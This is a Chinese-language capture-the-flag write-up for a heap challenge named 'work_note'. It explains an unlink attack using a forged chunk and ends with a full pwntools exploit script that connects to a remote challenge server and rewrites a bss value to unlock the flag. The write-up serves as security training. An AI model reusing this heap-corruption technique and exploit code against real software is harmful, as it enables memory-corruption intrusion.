0%

unlink

work_note:

通过这道题算是对堆溢出的漏洞有了入门的理解了,至少能够调试时如何查看堆的内容,也理解了堆的分配和释放机制。

解题思路:通过堆溢出漏洞构造一个fake_chunk,溢出比修改下一个chunk的pre_size和size,并把下一个chunk的size的最后一位P设为0,这代表前面构造的fake_chunk是freed的,这样在释放fake_chunk的下一个chunk的时候就会产生unlink,通过设置fake_chunk的FD、BK,结合程序的edit_note功能可以实现任意地址写,这样就可以修改bss段的0x6020d4处的内容,绕过程序cat ./flag的前提条件。

也看了一下其他类型的题,程序有show的功能的话,就可以泄露地址,从而到libc中去找system的地址,getshell,还没做过。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
'''
For 3th training of 2021, work_note
'''
from pwn import *

bin_path = "./work_note"
remote_ip = ["124.16.75.162", 31054]
#sh = process(bin_path)
sh = remote(remote_ip[0], remote_ip[1])

context.log_level = "debug"
#gdb.attach(sh, "b* main")
for i in range(7):
sh.recvuntil("Input the length of your work note:")
sh.send("16\n")
sh.recvuntil("Input context of your work record:")
sh.send("AAA\n")

sh.recvuntil("Do you need to edit your note? y/n\n")
sh.send("y\n")
sh.recvuntil("0.exit\n")
sh.send("1\n")
sh.recvuntil("input the note index to edit:\n")
sh.send("1\n") #edit(1)
sh.recvuntil("Input the content:\n")

chunk_list = 0x6020E0
cur_chk = chunk_list + 0x8
size_sz = 0x8
# fake_chunk
payload = p64(0)+p64(0xa1)+p64(cur_chk-3*size_sz)+p64(cur_chk-2*size_sz)+ b"A"*0x80+p64(0xa0)+p64(0xb0)
sh.send(payload) #edit(1)
sh.recvuntil("0.exit\n")
sh.send("2\n")
sh.recvuntil("input the note index to delete:\n")
sh.send("2\n") #free(2) unlink
sh.recvuntil("0.exit\n")
sh.send("1\n")
sh.recvuntil("input the note index to edit:\n")
sh.send("1\n") # write data
sh.recvuntil("Input the content:\n")

payload2 = "\x00\x00\x00\x00\xa8\x00\x00\x00"
sh.send(payload2) #write '0xA8'
sh.recvuntil("0.exit\n")
sh.send("0\n")

sh.interactive() #pause to see flag, not get shell.

参考链接:

  1. https://www.cnblogs.com/snip3r/p/9399534.html
  2. https://blog.csdn.net/mcl2840072208/article/details/96483065?spm=1001.2014.3001.5501